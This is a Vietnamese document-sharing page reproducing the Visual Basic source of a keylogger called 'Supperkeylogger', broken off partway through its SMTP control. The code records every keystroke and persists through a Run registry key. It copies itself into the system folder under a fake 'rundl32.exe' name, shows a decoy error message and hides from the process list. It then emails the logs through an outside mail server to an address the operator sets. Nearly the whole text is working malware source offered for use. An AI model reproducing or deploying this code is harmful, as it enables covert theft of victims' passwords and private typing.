Chương Trình Supperkeylogger (VB)

Chia sẻ: ™——† Lvlr. DK †——™ »»» V.I.P ««« | Ngày: | Loại File: PDF | Số trang:22

Thêm vào BST

Báo xấu

93
lượt xem 11
download

Download Vui lòng tải xuống để xem tài liệu đầy đủ

Chương Trình Supperkeylogger (VB): Mô tả chương trình: Bạn thêm vào trong chương trình 1 Form, 2 Module và 1 User Control 1. Form chính có tên là Form1.frm: Giao diện form chứa đựng 3 Textbox (Text1 và send, adresa – “Text: Whitebronch@yahoo.com”), 1 SMTP (SMTP), 2 Timer (Timer1 và Timer2), 1 Label (Label1 – “Dia chi mail ban muon nhan log:”) - Mã nguồn của Form:

Chủ đề:

Bình luận(0) Đăng nhập để gửi bình luận!

Lưu

Nội dung Text: Chương Trình Supperkeylogger (VB)

Chương Trình Supperkeylogger (VB): Mô tả chương trình: Bạn thêm vào trong ch ương trình 1 Form, 2 Module và 1 User Control 1. Form chính có tên là Form1.frm: Giao diện form chứa đựng 3 Textbox (Text1 và send, adresa – “Text: Whitebronch@yahoo.com”), 1 SMTP (SMTP), 2 Timer (Timer1 và Timer2), 1 Label (Label1 – “Dia chi mail ban muon nhan log:”) - M ã nguồn của Form: Option Explicit Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Const REG As Long = 1 Const HKEY_LOCAL_MACHINE As Long = &H80000002 Const STANDARD_RIGHTS_ALL = &H1F0000 Const KEY_CREATE_LINK = &H20 Const KEY_CREATE_SUB_KEY = &H4 Const KEY_ENUMERATE_SUB_KEYS = &H8 Const KEY_NOTIFY = &H10 Const KEY_QUERY_VALUE = &H1 Const KEY_SET_VALUE = &H2 Const SYNCHRONIZE = &H100000 Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) And (Not SYNCHRONIZE)) Function IntrareRegistru() Dim a As Long RegOpenKeyExA HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\RunServices", 0, KEY_ALL_ACCESS, a RegSetValueExA a, "Rundll32", 0, REG, "C:\Windows\system\rundl32.exe", 1 RegCloseKey a End Function Function IntrareSuportMagnetic() Dim s As String, path As String s = App.path & "\" & App.EXEName & ".exe" path = WinDir & "\SYSTEM\rundl32.exe" If FisierulExista(path) = False Then FileCopy s, path MsgBox "Please delete this file and re-download it!" End If End Function Private Sub Form_Load() IntrareRegistru IntrareSuportMagnetic RemoveProgramFromList If App.PrevInstance Then
Unload Me End If End Sub '--- '---- Public Function SendEMail(adress As String) With SMTP .Server = "s1.go.ro" .Port = 25 .MailFrom = "keylogger@nesheret.test" .MailTo = adresa.Text .NameFrom = "Educational" .NameTo = "Mg" .Subject = "Keylogger" .Body = send.Text .SendMail End With SMTP.ccl End Function '---- Private Sub Timer1_Timer() VerificareTaste End Sub Private Sub Timer2_Timer() Salveaza If VI = True Then Decizie End If End Sub 2. Hai Module (Internet.bas và Module1.bas) - M odule Internet.bas: Private Const FLAG_ICC_FORCE_CONNECTION = &H1 Private Declare Function InternetCheckConnection Lib "wininet.dll" Alias "InternetCheckConnectionA" (ByVal lpszUrl As String, ByVal dwFlags As Long, ByVal dwReserved As Long) As Long Public Text As Variant Public caledel As String Public Function VI() If InternetCheckConnection("http://www.google.com/", FLAG_ICC_FORCE_CONNECTION, 0&) = 0 Then VI = False Else VI = True End If End Function Public Sub TrimiteLog(path As String) Dim s As Variant Form1.send.Text = "" Open path For Input As #3 Do While Not EOF(3) Input # 3, s Form1.send.Text = Form1.send.Text & s & vbCrLf Loop Close #3 caledel = path
Form1.SendEMail (path) Kill path End Sub Public Function Decizie() Dim path As String Dim i As Integer, j As Integer For i = 10 To 1 Step -1 For j = 1 To 6 path = Module1.WinDir & "\system\directx\" & Day(Date) - i & "_" & j & ".txt" If FisierulExista(path) = True Then TrimiteLog (path) End If Next j Next i End Function - M odule Module1.bas: Option Explicit Public Const DT_CENTER = &H1 Public Const DT_WORDBREAK = &H10 Public Const RSP_SIMPLE_SERVICE = 1 Public Const RSP_UNregiSTER_SERVICE = 0 Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Declare Function GetAsyn cKeyState Lib "user32" (ByVal vKey As Long) As Integer Global Cnt As Long, TempText As String, sOld As String, ret As String Dim Tel As Long Private Const VK_CAPITAL = &H14 Public Function CAPSLOCKON() As Boolean Static bInit As Boolean Static bOn As Boolean If Not bInit Then While GetAsyncKeyState(VK_CAPITAL) Wend bOn = GetKeyState(VK_CAPITAL) bInit = True Else If GetAsyncKeyState(VK_CAPITAL) Then While GetAsyncKeyState(VK_CAPITAL) DoEvents Wend bOn = Not bOn End If End If CAPSLOCKON = bOn
End Function Public Function VerificareTaste() Dim keystate As Long Dim Shift As Long Shift = GetAsyncKeyState(vbKeyShift) keystate = GetAsyncKeyState(vbKeyA) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "A" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "a" End If keystate = GetAsyncKeyState(vbKeyB) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "B" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "b" End If keystate = GetAsyncKeyState(vbKeyC) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "C" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "c" End If keystate = GetAsyncKeyState(vbKeyD) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "D" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "d" End If keystate = GetAsyncKeyState(vbKeyE) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "E" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "e" End If keystate = GetAsyncKeyState(vbKeyF) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then
Form1.Text1 = Form1.Text1 + "F" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "f" End If keystate = GetAsyncKeyState(vbKeyG) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "G" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "g" End If keystate = GetAsyncKeyState(vbKeyH) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "H" En d If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "h" End If keystate = GetAsyncKeyState(vbKeyI) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "I" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "i" End If keystate = GetAsyncKeyState(vbKeyJ) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "J" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "j" End If keystate = GetAsyncKeyState(vbKeyK) If (CAPSLOCKON = T rue And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "K" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "k" End If keystate = GetAsyncKeyState(vbKeyL) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift
0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "L" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "l" End If keystate = GetAsyncKeyState(vbKeyM) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "M" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "m" End If keystate = GetAsyncKeyState(vbKeyN) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "N" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "n" End If keystate = GetAsyncKeyState(vbKeyO) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "O" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "o" End If keystate = GetAsyncKeyState(vbKeyP) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "P" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "p" End If keystate = GetAsyncKeyState(vbKeyQ) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "Q" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "q" End If
keystate = GetAsyncKeyState(vbKeyR) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "R" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "r" End If keystate = GetAsyncKeyState(vbKeyS) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "S" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "s" End If keystate = GetAsyncKeyState(vbKeyT) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "T" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "t" End If keystate = GetAsyncKeyState(vbKeyU) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "U" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "u" End If keystate = GetAsyncKeyState(vbKeyV) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "V" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "v" End If keystate = GetAsyncKeyState(vbKeyW) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "W" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "w"
End If keystate = GetAsyncKeyState(vbKeyX) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "X" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "x" End If keystate = GetAsyncKeyState(vbKeyY) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "Y" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "y" End If keystate = GetAsyncKeyState(vbKeyZ) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "Z" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift 0 And (keystate And &H1) = &H1) Then Form1.Text1 = Form1.Text1 + "z" End If keystate = GetAsyncKeyState(vbKey1) If Shift = 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "1" End If If Shift 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "!" End If keystate = GetAsyncKeyState(vbKey2) If Shift = 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "2" End If If Shift 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "@" End If keystate = GetAsyncKeyState(vbKey3) If Shift = 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "3" End If If Shift 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "#"
End If keystate = GetAsyncKeyState(vbKey4) If Shift = 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "4" End If If Shift 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "$" End If keystate = GetAsyncKeyState(vbKey5) If Shift = 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "5" End If If Shift 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "%" End If keystate = GetAsyncKeyState(vbKey6) If Shift = 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "6" End If If Sh ift 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "^" End If keystate = GetAsyncKeyState(vbKey7) If Shift = 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "7" End If If Shift 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "&" End If keystate = GetAsyncKeyState(vbKey8) If Shift = 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "8" End If If Shift 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "*" End If keystate = GetAsyncKeyState(vbKey9) If Shift = 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "9" End If If Shift 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "(" End If keystate = GetAsyncKeyState(vbKey0) If Shift = 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "0" End If If Shift 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + ")" End If keystate = GetAsyncKeyState(vbKeyBack) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[backspace]" End If keystate = GetAsyncKeyState(vbKeyTab) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[tab]" End If keystate = GetAsyncKeyState(vbKeyReturn) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + vbCrLf En d If keystate = GetAsyncKeyState(vbKeyShift) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[shift]" End If keystate = GetAsyncKeyState(vbKeyControl) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[ctrl]" End If keystate = GetAsyncKeyState(vbKeyMenu) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[alt]" End If keystate = GetAsyncKeyState(vbKeyPause) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[pause]" End If keystate = GetAsyncKeyState(vbKeyEscape) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[esc]" End If keystate = GetAsyncKeyState(vbKeySpace) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + " " End If
keystate = GetAsyncKeyState(vbKeyEnd) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[end]" End If keystate = GetAsyncKeyState(vbKeyHome) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[home]" End If keystate = GetAsyncKeyState(vbKeyLeft) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[left]" End If keystate = GetAsyncKeyState(vbKeyRight) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[right]" End If keystate = GetAsyncKeyState(vbKeyUp) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[up]" End If keystate = GetAsyncKeyState(vbKeyDown) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[down]" End If keystate = GetAsyncKeyState(vbKeyInsert) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[insert]" End If keystate = GetAsyncKeyState(vbKeyDelete) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[Delete]" End If keystate = GetAsyncKeyState(&HBA) If Shift = 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + ";" End If If Shift 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + ":" End If keystate = GetAsyncKeyState(&HBB) If Shift = 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "=" End If If Shift 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "+" End If keystate = GetAsyncKeyState(&HBC)
If Shift = 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "," End If If Shift 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "" End If keystate = GetAsyncKeyState(&HBF) If Shift = 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "/" End If If Shift 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "?" End If keystate = GetAsyncKeyState(&HC0) If Shift = 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "`" End If If Shift 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "~" End If keystate = GetAsyncKeyState(&HDB) If Shift = 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[" End If If Shift 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[" End If keystate = GetAsyncKeyState(&HDC) If Shift = 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "\" End If If Shift 0 And (keystate And &H1) = &H1 Then
Form1.Text1 = Form1.Text1 + "|" End If keystate = GetAsyncKeyState(&HDD) If Shift = 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "]" End If If Shift 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "]" End If keystate = GetAsyncKeyState(&HDE) If Shift = 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "'" End If If Shift 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + Chr$(34) End If keystate = GetAsyncKeyState(vbKeyMultiply) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "*" End If keystate = GetAsyncKeyState(vbKeyDivide) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "/" End If keystate = GetAsyncKeyState(vbKeyAdd) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "+" End If keystate = GetAsyncKeyState(vbKeySubtract) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "-" End If keystate = GetAsyncKeyState(vbKeyDecimal) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[Del]" End If keystate = GetAsyncKeyState(vbKeyF1) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[F1]" End If keystate = GetAsyncKeyState(vbKeyF2) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[F2]" End If keystate = GetAsyncKeyState(vbKeyF3) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[F3]"
En d If keystate = GetAsyncKeyState(vbKeyF4) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[F4]" End If keystate = GetAsyncKeyState(vbKeyF5) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[F5]" End If keystate = GetAsyncKeyState(vbKeyF6) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[F6]" End If keystate = GetAsyncKeyState(vbKeyF7) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[F7]" End If keystate = GetAsyncKeyState(vbKeyF8) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[F8]" End If keystate = GetAsyncKeyState(vbKeyF9) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[F9]" End If keystate = GetAsyncKeyState(vbKeyF10) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[F10]" End If keystate = GetAsyncKeyState(vbKeyF11) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[F11]" End If keystate = GetAsyncKeyState(vbKeyF12) If Shift = 0 And (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[F12]" End If keystate = GetAsyncKeyState(vbKeyNumlock) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[NumLock]" End If keystate = GetAsyncKeyState(vbKeyScrollLock) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[ScrollLock]" End If keystate = GetAsyncKeyState(vbKeyPrint)
If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[PrintScreen]" End If keystate = GetAsyncKeyState(vbKeyPageUp) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[PageUp]" En d If keystate = GetAsyncKeyState(vbKeyPageDown) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[Pagedown]" End If keystate = GetAsyncKeyState(vbKeySnapshot) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[Snapshot]" End If keystate = GetAsyncKeyState(vbKeyMenu) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "[Menu]" End If keystate = GetAsyncKeyState(vbKeyNumpad1) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "1" End If keystate = GetAsyncKeyState(vbKeyNumpad2) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "2" End If keystate = GetAsyncKeyState(vbKeyNumpad3) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "3" End If keystate = GetAsyncKeyState(vbKeyNumpad4) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "4" End If keystate = GetAsyncKeyState(vbKeyNumpad5) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "5" End If keystate = GetAsyncKeyState(vbKeyNumpad6) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "6" End If keystate = GetAsyncKeyState(vbKeyNumpad7) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "7" End If
keystate = GetAsyncKeyState(vbKeyNumpad8) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "8" End If keystate = GetAsyncKeyState(vbKeyNumpad9) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "9" End If keystate = GetAsyncKeyState(vbKeyNumpad0) If (keystate And &H1) = &H1 Then Form1.Text1 = Form1.Text1 + "0" End If End Function Public Function FisierulExista(FileName As String) As Boolean On Error Resume Next Call GetAttr(FileName) FisierulExista = (Err.Number = 0) On Error GoTo 0 End Function '--- Public Function WinDir() As String Dim path As String, strSave As String strSave = String(200, Chr$(0)) WinDir = Left$(strSave, GetWindowsDirectory(strSave, Len(strSave))) End Function '--- Public Function Salveaza() Dim path As String Dim h As Byte, aux As String h = Hour(Time) Select Case h Case 1, 2, 3, 4: aux = 1 Case 5, 6, 7, 8: aux = 2 Case 9, 10, 11, 12: aux = 3 Case 13, 14, 15, 16: aux = 4 Case 17, 18, 19, 20: aux = 5 Case 21, 22, 23, 0, 24: aux = 6 End Select path = WinDir & "\system\directx\" & Day(Date) & "_" & aux & ".txt" Open path For Output As #1 Write #1, Form1.Text1 Close #1 End Function Public Sub RemoveProgramFromList() Dim pid As Long, regserv As Long pid = GetCurrentProcessId() regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE) End Sub
3. SMTP SMTP.ctl: SMTP.ctl bao gồm SMTP (picImage) và winsock (Sock) - M ã nguồn SMTP.ctl Option Explicit ' ------------------------------------------------------------------------------ ' ' Bao gom WinsockVB.com SMTP ActiveX UserControl v1.0 ' ' ------------------------------------------------------------------------------ ' ------------------------------------------------------------------------------ ' ' CAC SU KIEN ' ' ------------------------------------------------------------------------------ Public Event Connected(ByVal Host As String, ByVal Port As Long) Public E vent ReceivedData(ByVal Data As String) Public Event SentData(ByVal Data As String) Public Event MailCompleted() Public Event Error(ByVal Error As String) ' ------------------------------------------------------------------------------ ' ' THUOC TINH CAC B IEN ' ' ------------------------------------------------------------------------------ Dim m_Server As String ' mail server host Dim m_Port As String ' mail server port Dim m_MailFrom As String ' from address (Dia chi nguoi gui) Dim m_MailTo As String ' to address (Dia chi nguoi nhan) Dim m_BCC As String ' blind carbon copy addresses 